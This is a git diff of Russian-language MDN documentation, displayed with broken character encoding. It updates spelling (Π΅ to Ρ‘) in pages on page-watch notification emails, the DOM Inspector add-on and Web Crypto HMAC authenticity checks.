-<p>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ просмотра Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎΠΉ страницы ΠΈΠ»ΠΈ этой страницы ΠΈ Π΅Π΅ подстраниц.</p>
+<p>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ просмотра Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎΠΉ страницы ΠΈΠ»ΠΈ этой страницы ΠΈ Π΅Ρ‘ подстраниц.</p>
<h2 id="ΠŸΠΎΠ΄ΠΏΠΈΡΠ°Ρ‚ΡŒΡΡ_Π½Π°_страницу">ΠŸΠΎΠ΄ΠΏΠΈΡΠ°Ρ‚ΡŒΡΡ Π½Π° страницу</h2>
<p>НаТмитС ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ <em>Β«ΠŸΠΎΠ΄ΠΏΠΈΡΠ°Ρ‚ΡŒΡΡ Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅ страницы»</em>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ страницу.</p>
-<h2 id="ΠŸΠΎΠ΄ΠΏΠΈΡˆΠΈΡ‚Π΅ΡΡŒ_Π½Π°_страницу_ΠΈ_всС_Π΅Π΅_ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ">ΠŸΠΎΠ΄ΠΏΠΈΡˆΠΈΡ‚Π΅ΡΡŒ Π½Π° страницу ΠΈ всС Π΅Π΅ ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ</h2>
+<h2 id="ΠŸΠΎΠ΄ΠΏΠΈΡˆΠΈΡ‚Π΅ΡΡŒ_Π½Π°_страницу_ΠΈ_всС_Π΅Ρ‘_ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ">ΠŸΠΎΠ΄ΠΏΠΈΡˆΠΈΡ‚Π΅ΡΡŒ Π½Π° страницу ΠΈ всС Π΅Ρ‘ ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ</h2>
<p>НаТмитС Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ <em>Β«ΠŸΠΎΠ΄ΠΏΠΈΡΠ°Ρ‚ΡŒΡΡ Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅ страницы ΠΈ всС Π΅Ρ‘ ΠΏΠΎΠ΄-ΡΡ‚Π°Ρ‚ΡŒΠΈΒ»</em>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ эту страницу, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π»ΡŽΠ±ΡƒΡŽ Π΅Ρ‘ подстраницу. Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ страницы, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ запросили подписку, поэтому, Ссли Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ создано большС подстраниц, Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ увСдомлСния для Π½ΠΈΡ….</p>
<h2 id="ΠžΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ_подписку_Π½Π°_страницу">ΠžΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ подписку Π½Π° страницу</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ подписки ΠΈ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ просмотр страницы, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ мСню Β«Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ» Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <em>Β«ΠžΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ подписку Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅ страницы»</em>. Если Π²Ρ‹ подписаны Π½Π° страницу, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <em>Β«ΠžΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ названия страницы»</em>. Π’Ρ‹ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ элСктронноС письмо ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ страницы.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ подписки ΠΈ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ просмотр страницы, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ мСню Β«Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ» Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <em>Β«ΠžΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ подписку Π½Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅ страницы»</em>. Если Π²Ρ‹ подписаны Π½Π° страницу, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <em>Β«ΠžΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ названия страницы»</em>. Π’Ρ‹ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ элСктронноС письмо ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ страницы.</p>
<h2 id="Π­Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½Ρ‹Π΅_письма_с_ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ_страницы">Π­Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½Ρ‹Π΅ письма с ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ страницы</h2>
-<p>Если Π²Ρ‹ подписаны Π½Π° страницу, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ сохранСнии ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ элСктронноС письмо. Π­Ρ‚ΠΈ письма ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ с notifications@developer.mozilla.org ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, зарСгистрированный Π½Π° вашСй ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи MDN. КаТдоС сообщСниС ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ„ΠΎΡ€ΠΌΡ‹:</p>
+<p>Если Π²Ρ‹ подписаны Π½Π° страницу, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ сохранСнии ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ элСктронноС письмо. Π­Ρ‚ΠΈ письма ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ с notifications@developer.mozilla.org ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, зарСгистрированный Π½Π° вашСй ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи MDN. КаТдоС сообщСниС ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ„ΠΎΡ€ΠΌΡ‹:</p>
<pre class="notranslate">[MDN] Page "<em>Page title</em>" changed by <em>username</em></pre>
@@ -41,11 +41,11 @@ original_slug: MDN/Tools/Page_watching
<p>НиТС diff Π΅ΡΡ‚ΡŒ список ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ссылок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для измСнСния, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ:</p>
<ul>
- <li>ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ профиля MDN ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, внСсшСго измСнСния</li>
+ <li>ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ профиля MDN ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π²Π½Ρ‘ΡΡˆΠ΅Π³ΠΎ измСнСния</li>
<li>Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΈ Π½ΠΎΠ²Ρ‹Ρ… вСрсий страницы с использованиСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ истории событий Π½Π° MDN</li>
- <li>ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ ΡΡ‚Π°Ρ‚ΡŒΠΈ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅</li>
+ <li>ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ ΡΡ‚Π°Ρ‚ΡŒΠΈ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅</li>
<li>Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡ‚Π°Ρ‚ΡŒΠΈ</li>
<li>ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ ΠΈΡΡ‚ΠΎΡ€ΠΈΠΈΒ ΡΡ‚Π°Ρ‚ΡŒΠΈ</li>
</ul>
-<p>Π’ Π½ΠΈΠΆΠ½Π΅ΠΉ части письма Π΅ΡΡ‚ΡŒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, какая подписка сгСнСрировала элСктронноС письмо, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Β«Π’Ρ‹ подписаны Π½Π° измСнСния: ссылка Π½Π° элСмСнт HTML ΠΈ всС Π΅Π³ΠΎ ΠΏΠΎΠ΄Ρ‚Π΅ΠΌΡ‹Β», Π° Ρ‚Π°ΠΊΠΆΠ΅ ссылку Π½Π° ΠΎΡ‚ΠΌΠ΅Π½Ρƒ подписки. Если Π²Ρ‹ Π½Π°ΠΆΠΌΠ΅Ρ‚Π΅ ссылку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ подписки, Π²Ρ‹ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ сообщСния для этого запроса Π½Π° просмотр.</p>
+<p>Π’ Π½ΠΈΠΆΠ½Π΅ΠΉ части письма Π΅ΡΡ‚ΡŒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΎ Ρ‚ΠΎΠΌ, какая подписка сгСнСрировала элСктронноС письмо, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Β«Π’Ρ‹ подписаны Π½Π° измСнСния: ссылка Π½Π° элСмСнт HTML ΠΈ всС Π΅Π³ΠΎ ΠΏΠΎΠ΄Ρ‚Π΅ΠΌΡ‹Β», Π° Ρ‚Π°ΠΊΠΆΠ΅ ссылку Π½Π° ΠΎΡ‚ΠΌΠ΅Π½Ρƒ подписки. Если Π²Ρ‹ Π½Π°ΠΆΠΌΡ‘Ρ‚Π΅ ссылку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ подписки, Π²Ρ‹ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ сообщСния для этого запроса Π½Π° просмотр.</p>
diff --git a/files/ru/orphaned/tools/add-ons/dom_inspector/index.html b/files/ru/orphaned/tools/add-ons/dom_inspector/index.html
index 3316c31f83..719178baac 100644
--- a/files/ru/orphaned/tools/add-ons/dom_inspector/index.html
+++ b/files/ru/orphaned/tools/add-ons/dom_inspector/index.html
@@ -49,10 +49,10 @@ ac_add_options --enable-inspector-apis</code></pre>
<dd>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ &gt; Π’Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° &gt; Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ DOM. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π±ΠΎΠΊΠΎΠ²ΡƒΡŽΒ ΠΏΠ°Π½Π΅Π»ΡŒΒ Ρ‡Π΅Ρ€Π΅Π· ΠŸΡ€Π°Π²ΠΊΠ° &gt; Настройки &gt; Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ &gt; Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ DOM, Π·Π°Ρ‚Π΅ΠΌ просто ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ панСль инспСктора DOM ΠΈ посСтитС любой вСб-сайт.</dd>
</dl>
-<h2 id="Report_a_bug_in_DOM_Inspector" name="Report_a_bug_in_DOM_Inspector">ΠžΡ‚Ρ‡Π΅Ρ‚ ΠΎΠ± ошибкС Π² DOM Inspector</h2>
+<h2 id="Report_a_bug_in_DOM_Inspector" name="Report_a_bug_in_DOM_Inspector">ΠžΡ‚Ρ‡Ρ‘Ρ‚ ΠΎΠ± ошибкС Π² DOM Inspector</h2>
<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉΒ Ρ€Π°Π·Π΄Π΅Π»Β <a href="https://bugzilla.mozilla.org/enter_bug.cgi?format=__default__&amp;product=Other%20Applications&amp;component=DOM%20Inspector">ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Β«Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ DOMΒ» Π² Bugzilla</a>.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Π·Π½Π°Π΅Ρ‚ <a href="https://hg.mozilla.org/dom-inspector" title="https://hg.mozilla.org/dom-inspector"> ΠΊΠΎΠ΄ DOM Inspector</a> ΠΈ Π³Π΄Π΅ ΠΎΠ½ ΠΆΠΈΠ²Π΅Ρ‚, см. <a class="link-https" href="https://wiki.mozilla.org/Modules/All#DOM_Inspector" title="https://wiki.mozilla.org/Modules/All#DOM_Inspector"> <span class="external"> листинг модуля DOM Inspector</span></a>.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Π·Π½Π°Π΅Ρ‚ <a href="https://hg.mozilla.org/dom-inspector" title="https://hg.mozilla.org/dom-inspector"> ΠΊΠΎΠ΄ DOM Inspector</a> ΠΈ Π³Π΄Π΅ ΠΎΠ½ ΠΆΠΈΠ²Ρ‘Ρ‚, см. <a class="link-https" href="https://wiki.mozilla.org/Modules/All#DOM_Inspector" title="https://wiki.mozilla.org/Modules/All#DOM_Inspector"> <span class="external"> листинг модуля DOM Inspector</span></a>.</p>
<p>{{ languages( { "es": "es/DOM_Inspector", "it": "it/DOM_Inspector", "fr": "fr/Inspecteur_DOM", "ja": "ja/DOM_Inspector", "ko": "ko/DOM_Inspector", "pl": "pl/Inspektor_DOM" } ) }}</p>
diff --git a/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html b/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html
index 0e81e9847e..903e7cc7a2 100644
--- a/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html
+++ b/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html
@@ -11,11 +11,11 @@ original_slug: Web/API/Web_Crypto_API/Checking_authenticity_with_password
<p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° подлинности Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Web Crypto API. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ подписями, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ…ΡΡˆ-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ.</p>
-<p>HMAC Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ…ΡΡˆ Π½Π° основС ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ…Β ΠΊΠ»ΡŽΡ‡Π° ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΠΏΠΈΡΠ°Ρ‚ΡŒ. ПозТС, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Ρ‹ΠΉ Ρ…ΡΡˆ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ вычислСн Π·Π°Π½ΠΎΠ²ΠΎ Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ имССтся ΠΊΠ»ΡŽΡ‡. ΠΠ΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π° позволяСт Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Ρ…ΡΡˆ вмСстС: Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ Π½Π΅ смоТСт ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ…ΡΡˆ для ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π΅ имСя ΠΊΠ»ΡŽΡ‡Π°.</p>
+<p>HMAC Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ…ΡΡˆ Π½Π° основС ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ…Β ΠΊΠ»ΡŽΡ‡Π° ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΠΏΠΈΡΠ°Ρ‚ΡŒ. ПозТС, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Ρ‹ΠΉ Ρ…ΡΡˆ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ вычислСн Π·Π°Π½ΠΎΠ²ΠΎ Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ имССтся ΠΊΠ»ΡŽΡ‡. ΠΠ΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π° позволяСт Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Ρ…ΡΡˆ вмСстС: Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ Π½Π΅ смоТСт ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ…ΡΡˆ для ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π΅ имСя ΠΊΠ»ΡŽΡ‡Π°.</p>
<p>Π‘Ρ‚ΠΎΠΈΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ связан с ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉΒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉΒ ΠΎ Π²Π»Π°Π΄Π΅Π»ΡŒΡ†Π΅: Π·Π½Π°Π½ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π° – Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ ΠΈ достаточноС условиС для измСнСния Π΄Π°Π½Π½Ρ‹Ρ….</p>
-<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π΄Π°Π½Π½Ρ‹Π΅ хранятся Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ к записи ΠΈΠ»ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΡŽ, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>localforage.js</code> – Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°-ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ° Π½Π°Π΄ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°ΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π­Ρ‚Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Π° ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° для удобства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ.</p>
+<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π΄Π°Π½Π½Ρ‹Π΅ хранятся Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ к записи ΠΈΠ»ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΡŽ, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>localforage.js</code> – Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° Π½Π°Π΄ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°ΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π­Ρ‚Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Π° ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° для удобства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ.</p>
